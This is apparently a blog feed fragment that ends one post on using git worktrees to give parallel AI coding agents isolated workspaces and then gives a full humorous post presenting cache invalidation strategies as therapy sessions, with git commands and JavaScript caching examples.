<h2 id="why-worktrees-fit-agentic-development-so-well">Why worktrees fit agentic development so well</h2>

<h3 id="1-true-parallelism-with-no-cross-talk">1. True parallelism with no cross-talk</h3>

<p>Each agent operates in its own directory. Agent A can run a failing build, rewrite ten files, and
run tests — while Agent B does something completely different — and neither sees the other’s
uncommitted work. No lockstep, no “please wait, someone else is building.”</p>

<h3 id="2-cheap-to-create-and-destroy">2. Cheap to create and destroy</h3>

<p>Because history is shared, spinning up a worktree is near-instant and costs only the checked-out
files, not another copy of <code class="language-plaintext highlighter-rouge">.git</code>. That makes worktrees disposable: create one per task, throw it
away when the task merges. Perfect for an orchestrator that launches and reaps agents on demand.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git worktree add ../repo-task-1234 <span class="nt">-b</span> agent/task-1234   <span class="c"># create + new branch in one step</span>
<span class="c"># ... agent works, commits, opens a PR ...</span>
git worktree remove ../repo-task-1234                    <span class="c"># reap when done</span>
</code></pre></div></div>

<h3 id="3-one-branch-per-agent-enforced-by-construction">3. One branch per agent, enforced by construction</h3>

<p>Git <strong>refuses to check out the same branch in two worktrees at once</strong>. That guardrail maps perfectly
onto “one agent owns one branch”: you literally cannot have two agents accidentally sharing a
branch’s working state.</p>

<h3 id="4-instant-context-switching-for-the-orchestrator">4. Instant context switching for the orchestrator</h3>

<p>A supervising process (or a human reviewing agent output) can <code class="language-plaintext highlighter-rouge">cd</code> between worktrees to inspect each
agent’s in-progress state, run its tests, or diff its changes — without disturbing any agent. No
stashing, no branch swapping, no rebuild-from-scratch.</p>

<h3 id="5-shared-fetches-and-reusable-caches">5. Shared fetches and reusable caches</h3>

<p><code class="language-plaintext highlighter-rouge">git fetch</code> in any worktree updates the shared object store, so every worktree sees new upstream
commits without separate downloads. Dependency directories remain independent, but package-manager
caches can also be shared across worktrees. Together, those two choices keep new agent workspaces
cheap to start.</p>

<hr />

<h2 id="sharp-edges-and-how-to-handle-them">Sharp edges (and how to handle them)</h2>

<p>Worktrees are powerful but a few things surprise newcomers:</p>

<ul>
  <li><strong>A branch can only be checked out in one worktree.</strong> This is a feature, not a bug — it prevents
two agents from corrupting the same branch. If you need two views of one branch, create a second
branch from it (<code class="language-plaintext highlighter-rouge">git worktree add ../view -b copy-of-x x</code>) or use a detached checkout
(<code class="language-plaintext highlighter-rouge">git worktree add --detach ../view x</code>).</li>
  <li><strong>Untracked files are NOT shared.</strong> <code class="language-plaintext highlighter-rouge">node_modules</code>, build outputs, <code class="language-plaintext highlighter-rouge">.env</code> files, and other
gitignored artifacts exist independently in each worktree. Each agent must install dependencies
and generate build artifacts in its own directory — or you point them at a shared cache
(package-manager stores, NuGet, Go, or pip caches, for example) to avoid downloading everything
again.</li>
  <li><strong>Reap orphaned worktrees.</strong> If a directory is deleted without <code class="language-plaintext highlighter-rouge">git worktree remove</code>, Git keeps a
dangling administrative record. Run <code class="language-plaintext highlighter-rouge">git worktree prune</code> (or <code class="language-plaintext highlighter-rouge">git worktree remove --force</code>)
periodically. <code class="language-plaintext highlighter-rouge">git worktree list</code> shows everything currently registered.</li>
  <li><strong>Submodules need care.</strong> Repos with submodules require
<code class="language-plaintext highlighter-rouge">git worktree add</code> plus submodule init inside each worktree; plan for it if you use them.</li>
  <li><strong>Long-lived worktrees drift.</strong> Fetch and rebase/merge in each worktree just like any branch; the
shared object store means the fetch is cheap, but the merge is still per-worktree work.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git worktree list           <span class="c"># see all worktrees and their branches</span>
git worktree prune          <span class="c"># clean up records for manually-deleted worktrees</span>
git worktree remove &lt;path&gt;  <span class="c"># the correct way to delete a worktree</span>
</code></pre></div></div>

<hr />

<h2 id="where-this-leads-worktrees--running-apps">Where this leads: worktrees + running apps</h2>

<p>Worktrees isolate source code, but running several copies of an app introduces a second set of
collisions: ports, databases, and configuration. The companion post covers that runtime layer by
giving each worktree its own running instance:
<a href="/blog/llm/multi-slot-local-dev-with-worktrees-and-caddy"><strong>Running Many Copies of Your App at Once: Git Worktrees + Caddy</strong></a>.</p>

<hr />

<h2 id="wrapping-up">Wrapping up</h2>

<p>For agentic development, <code class="language-plaintext highlighter-rouge">git worktree</code> is the quiet workhorse:</p>

<ol>
  <li><strong>Isolation without duplication</strong> — many working directories, one shared history.</li>
  <li><strong>Cheap and disposable</strong> — spawn a worktree per task, reap it on merge.</li>
  <li><strong>Safe by construction</strong> — one branch per worktree keeps agents from corrupting each other.</li>
  <li><strong>Orchestrator-friendly</strong> — inspect, test, and diff any agent’s state without disturbing it.</li>
</ol>

<p>The important shift is simple: stop treating the repository checkout as shared agent
infrastructure. Give every agent its own worktree, and parallel development becomes a set of
independent, reproducible workspaces.</p>]]></content><author><name>Shaswat Rungta</name></author><category term="LLM" /><category term="Git" /><category term="Agentic Development" /><summary type="html"><![CDATA[The problem agents create]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/llm/LLMWT01/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/llm/LLMWT01/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">My Cache Has Trust Issues - A Therapist’s Guide to Cache Invalidation</title><link href="https://blog.shaswatrungta.online/blog/web/cache-trust-issues" rel="alternate" type="text/html" title="My Cache Has Trust Issues - A Therapist’s Guide to Cache Invalidation" /><published>2026-03-07T00:00:00+05:30</published><updated>2026-03-07T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/web/cache-trust-issues</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/web/cache-trust-issues"><![CDATA[<h2 id="session-1-meeting-your-cache">Session 1: Meeting Your Cache</h2>

<p><strong>Therapist:</strong> Tell me about your cache.</p>

<p><strong>Developer:</strong> Well, it’s… complicated. Sometimes it works great. Sometimes it serves stale data and users get mad. Sometimes it invalidates too aggressively and my database dies.</p>

<p><strong>Therapist:</strong> It sounds like your cache has trust issues.</p>

<p><strong>Developer:</strong> …is that a thing?</p>

<p><strong>Therapist:</strong> Oh yes. Very common. Let’s start from the beginning.</p>

<h2 id="the-problem-cache-doesnt-know-whats-true-anymore">The Problem: Cache Doesn’t Know What’s True Anymore</h2>

<p>Your cache has a simple job: remember things so you don’t have to ask the database every time.</p>

<p>But here’s the existential crisis: <strong>How does the cache know if the data it remembers is still true?</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Cache: "User 123's email is alice@example.com"</span>
<span class="c1">// Reality: Alice just changed her email to alice@newdomain.com</span>
<span class="c1">// Cache: "But I remember it being alice@example.com?"</span>
<span class="c1">// Reality: "That was 5 minutes ago. Things change."</span>
<span class="c1">// Cache: *existential panic*</span>
</code></pre></div></div>

<p>This is cache invalidation. It’s one of the two hard problems in computer science, along with naming things and off-by-one errors.</p>

<h2 id="cache-personality-types">Cache Personality Types</h2>

<h3 id="type-1-the-optimist-time-to-live-cache">Type 1: The Optimist (Time-To-Live Cache)</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">,</span> <span class="nx">userData</span><span class="p">,</span> <span class="p">{</span> <span class="na">ttl</span><span class="p">:</span> <span class="mi">300</span> <span class="p">});</span> <span class="c1">// 5 minutes</span>
</code></pre></div></div>

<p><strong>Personality:</strong> “I’ll trust this data for 5 minutes. What could go wrong?”</p>

<table>
  <thead>
    <tr>
      <th>Strengths</th>
      <th>Weaknesses</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Simple</td>
      <td>Serves stale data for up to 5 minutes</td>
    </tr>
    <tr>
      <td>Predictable</td>
      <td>Doesn’t know when data actually changed</td>
    </tr>
    <tr>
      <td>Doesn’t overthink things</td>
      <td>Lives in blissful ignorance</td>
    </tr>
  </tbody>
</table>

<p><strong>When it breaks down:</strong></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// User changes their email</span>
<span class="nx">updateEmail</span><span class="p">(</span><span class="nx">userId</span><span class="p">,</span> <span class="nx">newEmail</span><span class="p">);</span>

<span class="c1">// Cache doesn't know for 5 minutes</span>
<span class="nx">cache</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">);</span> <span class="c1">// Still returns old email</span>
</code></pre></div></div>

<p><strong>Therapy session:</strong></p>

<p><strong>Therapist:</strong> How do you feel about serving stale data?</p>

<p><strong>Cache:</strong> I don’t like it, but I can’t check the database every time. That defeats the purpose of caching.</p>

<p><strong>Therapist:</strong> What if the data is critical? Like a password change?</p>

<p><strong>Cache:</strong> <em>nervous sweating</em> I… I just hope 5 minutes isn’t too long?</p>

<p><strong>Therapist:</strong> That’s avoidance behavior.</p>

<h3 id="type-2-the-paranoid-cache-aside-with-validation">Type 2: The Paranoid (Cache-Aside with Validation)</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">cached</span> <span class="o">=</span> <span class="nx">cache</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">cached</span> <span class="o">&amp;&amp;</span> <span class="nx">cached</span><span class="p">.</span><span class="nx">version</span> <span class="o">===</span> <span class="nx">db</span><span class="p">.</span><span class="nx">getVersion</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">cached</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Version changed, data is stale</span>
<span class="kd">const</span> <span class="nx">fresh</span> <span class="o">=</span> <span class="nx">db</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">,</span> <span class="nx">fresh</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">fresh</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>Personality:</strong> “Trust but verify. Actually, mostly verify.”</p>

<table>
  <thead>
    <tr>
      <th>Strengths</th>
      <th>Weaknesses</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Never serves truly stale data</td>
      <td>Still hits the database to check versions</td>
    </tr>
    <tr>
      <td>Knows exactly when data changes</td>
      <td>If version checking is expensive, you’ve defeated the purpose</td>
    </tr>
    <tr>
      <td>Catches problems early</td>
      <td>Constant anxiety about being wrong</td>
    </tr>
  </tbody>
</table>

<p><strong>Therapy session:</strong></p>

<p><strong>Therapist:</strong> You check the version every single time?</p>

<p><strong>Cache:</strong> What if it changed?</p>

<p><strong>Therapist:</strong> But you’re hitting the database anyway. Why cache at all?</p>

<p><strong>Cache:</strong> Because checking the version is cheaper than fetching all the data! …right?</p>

<p><strong>Therapist:</strong> Is it though?</p>

<p><strong>Cache:</strong> <em>existential crisis intensifies</em></p>

<h3 id="type-3-the-control-freak-write-through-cache">Type 3: The Control Freak (Write-Through Cache)</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">updateUser</span><span class="p">(</span><span class="nx">userId</span><span class="p">,</span> <span class="nx">newData</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Update database</span>
  <span class="nx">db</span><span class="p">.</span><span class="nx">update</span><span class="p">(</span><span class="dl">'</span><span class="s1">users</span><span class="dl">'</span><span class="p">,</span> <span class="nx">userId</span><span class="p">,</span> <span class="nx">newData</span><span class="p">);</span>
  
  <span class="c1">// Immediately update cache</span>
  <span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s2">`user:</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="nx">newData</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Personality:</strong> “I control everything. If data changes, I’ll know because <em>I’m</em> the one changing it.”</p>

<table>
  <thead>
    <tr>
      <th>Strengths</th>
      <th>Weaknesses</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Cache is always consistent with writes</td>
      <td>What about writes from other servers?</td>
    </tr>
    <tr>
      <td>No stale data for writes you control</td>
      <td>What about manual database updates?</td>
    </tr>
    <tr>
      <td>Clear ownership</td>
      <td>What about data that changes from external systems?</td>
    </tr>
  </tbody>
</table>

<p><strong>Therapy session:</strong></p>

<p><strong>Therapist:</strong> What happens if someone updates the database directly?</p>

<p><strong>Cache:</strong> That’s not allowed. All writes go through me.</p>

<p><strong>Therapist:</strong> But what if they do anyway?</p>

<p><strong>Cache:</strong> THEY CAN’T. I CONTROL THE DATA.</p>

<p><strong>Therapist:</strong> This is concerning. You’re exhibiting control issues.</p>

<h3 id="type-4-the-anxious-overthinker-event-driven-invalidation">Type 4: The Anxious Overthinker (Event-Driven Invalidation)</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// When data changes, publish an event</span>
<span class="nx">eventBus</span><span class="p">.</span><span class="nx">publish</span><span class="p">(</span><span class="dl">'</span><span class="s1">user.updated</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">userId</span><span class="p">:</span> <span class="mi">123</span> <span class="p">});</span>

<span class="c1">// Cache listens for events</span>
<span class="nx">eventBus</span><span class="p">.</span><span class="nx">subscribe</span><span class="p">(</span><span class="dl">'</span><span class="s1">user.updated</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="s2">`user:</span><span class="p">${</span><span class="nx">event</span><span class="p">.</span><span class="nx">userId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Personality:</strong> “I need to know the moment ANYTHING changes ANYWHERE.”</p>

<table>
  <thead>
    <tr>
      <th>Strengths</th>
      <th>Weaknesses</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Invalidates immediately when data changes</td>
      <td>What if the event gets lost?</td>
    </tr>
    <tr>
      <td>No TTL guessing</td>
      <td>What if events arrive out of order?</td>
    </tr>
    <tr>
      <td>Proactive, not reactive</td>
      <td>What if the event system is down?</td>
    </tr>
    <tr>
      <td> </td>
      <td>Constant monitoring of event streams</td>
    </tr>
  </tbody>
</table>

<p><strong>Therapy session:</strong></p>

<p><strong>Therapist:</strong> You’re subscribed to 47 different event topics?</p>

<p><strong>Cache:</strong> I need to know when things change!</p>

<p><strong>Therapist:</strong> But you’re spending all your time processing events instead of actually caching.</p>

<p><strong>Cache:</strong> What if I miss an update?</p>

<p><strong>Therapist:</strong> This is anxiety. You’re catastrophizing.</p>

<h2 id="common-cache-anxieties">Common Cache Anxieties</h2>

<h3 id="anxiety-1-what-if-i-invalidate-too-early">Anxiety 1: “What if I invalidate too early?”</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="p">{</span> <span class="na">ttl</span><span class="p">:</span> <span class="mi">10</span> <span class="p">});</span> <span class="c1">// 10 seconds</span>

<span class="c1">// 5 seconds later</span>
<span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">);</span> <span class="c1">// Oops, data was still fresh</span>

<span class="c1">// Now every request hits the database</span>
</code></pre></div></div>

<p><strong>Symptom:</strong> Over-invalidation. Cache has no confidence in its own data.</p>

<p><strong>Treatment:</strong> Use longer TTLs with selective invalidation for critical paths.</p>

<h3 id="anxiety-2-what-if-i-invalidate-too-late">Anxiety 2: “What if I invalidate too late?”</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="p">{</span> <span class="na">ttl</span><span class="p">:</span> <span class="mi">3600</span> <span class="p">});</span> <span class="c1">// 1 hour</span>

<span class="c1">// User changes password</span>
<span class="nx">updatePassword</span><span class="p">(</span><span class="nx">userId</span><span class="p">,</span> <span class="nx">newPassword</span><span class="p">);</span>

<span class="c1">// Cache still serves old password hash for up to 1 hour</span>
<span class="c1">// User can't log in with new password</span>
</code></pre></div></div>

<p><strong>Symptom:</strong> Stale data causes user-facing bugs.</p>

<p><strong>Treatment:</strong> Invalidate explicitly on writes. Don’t rely solely on TTL for critical data.</p>

<h3 id="anxiety-3-what-if-multiple-servers-invalidate-at-different-times">Anxiety 3: “What if multiple servers invalidate at different times?”</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Server A</span>
<span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Server B (didn't get the memo)</span>
<span class="nx">cache</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">user:123</span><span class="dl">'</span><span class="p">);</span> <span class="c1">// Still has stale data</span>
</code></pre></div></div>

<p><strong>Symptom:</strong> Distributed cache inconsistency. Different servers see different reality.</p>

<p><strong>Treatment:</strong> Use a centralized cache (Redis) or cache invalidation events.</p>

<h3 id="anxiety-4-what-if-the-database-and-cache-disagree">Anxiety 4: “What if the database and cache disagree?”</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Database says: email = alice@new.com</span>
<span class="c1">// Cache says: email = alice@old.com</span>

<span class="c1">// Who's right? Cache doesn't know.</span>
</code></pre></div></div>

<p><strong>Symptom:</strong> Split-brain. Truth has diverged.</p>

<p><strong>Treatment:</strong> Database is always the source of truth. When in doubt, invalidate and refetch.</p>

<h2 id="the-cache-invalidation-patterns">The Cache Invalidation Patterns</h2>

<h3 id="pattern-1-lazy-invalidation-ttl">Pattern 1: Lazy Invalidation (TTL)</h3>

<p><strong>How it works:</strong> Set a timer. When timer expires, delete from cache.</p>

<p><strong>Pros:</strong> Simple. Works everywhere.</p>

<p><strong>Cons:</strong> Serves stale data until expiration.</p>

<p><strong>Best for:</strong> Non-critical data that doesn’t change often (user profiles, settings).</p>

<p><strong>Cache personality:</strong> Optimistic.</p>

<h3 id="pattern-2-eager-invalidation-write-through">Pattern 2: Eager Invalidation (Write-Through)</h3>

<p><strong>How it works:</strong> Every write updates both database and cache.</p>

<p><strong>Pros:</strong> Cache is always fresh after writes.</p>

<p><strong>Cons:</strong> Doesn’t catch external updates. Adds latency to writes.</p>

<p><strong>Best for:</strong> Write-heavy workloads where you control all writes.</p>

<p><strong>Cache personality:</strong> Control freak.</p>

<h3 id="pattern-3-event-driven-invalidation">Pattern 3: Event-Driven Invalidation</h3>

<p><strong>How it works:</strong> Publish events when data changes. Cache subscribes and invalidates.</p>

<p><strong>Pros:</strong> Near-instant invalidation. Works across servers.</p>

<p><strong>Cons:</strong> Complex. Event system becomes a dependency. Eventual consistency.</p>

<p><strong>Best for:</strong> Distributed systems with multiple writers.</p>

<p><strong>Cache personality:</strong> Anxious overthinker.</p>

<h3 id="pattern-4-versioned-data">Pattern 4: Versioned Data</h3>

<p><strong>How it works:</strong> Store version number with data. Check version before using cache.</p>

<p><strong>Pros:</strong> Catches all changes. Works with any write pattern.</p>

<p><strong>Cons:</strong> Extra database query to check version.</p>

<p><strong>Best for:</strong> Critical data where staleness is unacceptable.</p>

<p><strong>Cache personality:</strong> Paranoid.</p>

<h3 id="pattern-5-no-cache-the-nuclear-option">Pattern 5: No Cache (The Nuclear Option)</h3>

<p><strong>How it works:</strong> Don’t cache. Just hit the database every time.</p>

<p><strong>Pros:</strong> Never stale. Simple. No invalidation needed.</p>

<p><strong>Cons:</strong> Slower. Database load increases.</p>

<p><strong>Best for:</strong> Data that changes constantly or is queried rarely.</p>

<p><strong>Cache personality:</strong> Has given up on therapy.</p>

<h2 id="real-world-scenarios">Real-World Scenarios</h2>

<h3 id="scenario-1-user-profile">Scenario 1: User Profile</h3>

<p><strong>Data:</strong> Name, email, profile picture<br />
<strong>Change frequency:</strong> Rarely<br />
<strong>Staleness tolerance:</strong> High (users understand profile changes take a moment)<br />
<strong>Solution:</strong> TTL cache with 5-minute expiration + eager invalidation on profile updates</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">updateProfile</span><span class="p">(</span><span class="nx">userId</span><span class="p">,</span> <span class="nx">newData</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">db</span><span class="p">.</span><span class="nx">update</span><span class="p">(</span><span class="dl">'</span><span class="s1">users</span><span class="dl">'</span><span class="p">,</span> <span class="nx">userId</span><span class="p">,</span> <span class="nx">newData</span><span class="p">);</span>
  <span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s2">`user:</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="nx">newData</span><span class="p">,</span> <span class="p">{</span> <span class="na">ttl</span><span class="p">:</span> <span class="mi">300</span> <span class="p">});</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">getProfile</span><span class="p">(</span><span class="nx">userId</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">cached</span> <span class="o">=</span> <span class="nx">cache</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="s2">`user:</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">cached</span><span class="p">)</span> <span class="k">return</span> <span class="nx">cached</span><span class="p">;</span>
  
  <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">db</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">users</span><span class="dl">'</span><span class="p">,</span> <span class="nx">userId</span><span class="p">);</span>
  <span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s2">`user:</span><span class="p">${</span><span class="nx">userId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="p">{</span> <span class="na">ttl</span><span class="p">:</span> <span class="mi">300</span> <span class="p">});</span>
  <span class="k">return</span> <span class="nx">data</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="scenario-2-inventory-count">Scenario 2: Inventory Count</h3>

<p><strong>Data:</strong> Number of items in stock<br />
<strong>Change frequency:</strong> Often (every purchase)<br />
<strong>Staleness tolerance:</strong> Low (can’t oversell)<br />
<strong>Solution:</strong> Don’t cache. Or cache with very short TTL + aggressive invalidation.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getInventory</span><span class="p">(</span><span class="nx">productId</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Don't cache. Always get fresh count.</span>
  <span class="k">return</span> <span class="nx">db</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">inventory</span><span class="dl">'</span><span class="p">,</span> <span class="nx">productId</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// OR cache for 10 seconds max</span>
<span class="kd">function</span> <span class="nx">getInventory</span><span class="p">(</span><span class="nx">productId</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">cached</span> <span class="o">=</span> <span class="nx">cache</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="s2">`inventory:</span><span class="p">${</span><span class="nx">productId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">cached</span><span class="p">)</span> <span class="k">return</span> <span class="nx">cached</span><span class="p">;</span>
  
  <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">db</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">inventory</span><span class="dl">'</span><span class="p">,</span> <span class="nx">productId</span><span class="p">);</span>
  <span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s2">`inventory:</span><span class="p">${</span><span class="nx">productId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="nx">data</span><span class="p">,</span> <span class="p">{</span> <span class="na">ttl</span><span class="p">:</span> <span class="mi">10</span> <span class="p">});</span>
  <span class="k">return</span> <span class="nx">data</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">purchaseItem</span><span class="p">(</span><span class="nx">productId</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">db</span><span class="p">.</span><span class="nx">decrementInventory</span><span class="p">(</span><span class="nx">productId</span><span class="p">);</span>
  <span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="s2">`inventory:</span><span class="p">${</span><span class="nx">productId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span> <span class="c1">// Invalidate immediately</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="scenario-3-session-data">Scenario 3: Session Data</h3>

<p><strong>Data:</strong> User’s login session, preferences<br />
<strong>Change frequency:</strong> Rare (only when user logs in/out)<br />
<strong>Staleness tolerance:</strong> None (security-critical)<br />
<strong>Solution:</strong> Cache with no TTL + explicit invalidation on logout</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">createSession</span><span class="p">(</span><span class="nx">userId</span><span class="p">,</span> <span class="nx">sessionData</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">sessionId</span> <span class="o">=</span> <span class="nx">generateId</span><span class="p">();</span>
  <span class="nx">cache</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="s2">`session:</span><span class="p">${</span><span class="nx">sessionId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="nx">sessionData</span><span class="p">);</span> <span class="c1">// No TTL</span>
  <span class="k">return</span> <span class="nx">sessionId</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">logout</span><span class="p">(</span><span class="nx">sessionId</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="s2">`session:</span><span class="p">${</span><span class="nx">sessionId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span> <span class="c1">// Explicit invalidation</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="the-two-rules-of-cache-therapy">The Two Rules of Cache Therapy</h2>

<h3 id="rule-1-cache-is-a-hint-not-truth">Rule 1: Cache is a Hint, Not Truth</h3>

<p>The database is the source of truth. Cache is a guess about what the database says.</p>

<p>If cache and database disagree, database wins. Always.</p>

<h3 id="rule-2-design-for-staleness">Rule 2: Design for Staleness</h3>

<p>Don’t build systems that break when cache is stale. Build systems that gracefully handle stale data.</p>

<p><strong>Bad:</strong> User changes password. Old password works for 5 minutes because cache.</p>

<p><strong>Good:</strong> User changes password. Old password stops working immediately (password check always hits database). Profile picture might be stale for 5 minutes (that’s fine).</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ol>
  <li><strong>All caches serve stale data eventually</strong> - The question is how long you can tolerate</li>
  <li><strong>TTL is a guess</strong> - You’re guessing how long data stays valid</li>
  <li><strong>Invalidation is hard in distributed systems</strong> - Multiple servers, eventual consistency, event ordering</li>
  <li><strong>Cache the read path, not the write path</strong> - Writes should invalidate, not update cache</li>
  <li><strong>Critical data shouldn’t be cached</strong> - Or cache with very short TTLs and explicit invalidation</li>
  <li><strong>Monitor your cache hit rate</strong> - If it’s too low, you’re over-invalidating</li>
  <li><strong>Trust issues are normal</strong> - Cache invalidation is legitimately difficult</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>Your cache has trust issues because the world is untrustworthy. Data changes. Networks fail. Events get lost. Clocks drift.</p>

<p>The best you can do is:</p>
<ol>
  <li>Accept that cache will occasionally be stale</li>
  <li>Design systems that tolerate staleness</li>
  <li>Invalidate aggressively for critical data</li>
  <li>Monitor and adjust TTLs based on real behavior</li>
</ol>

<p>And maybe, just maybe, your cache will learn to trust again.</p>

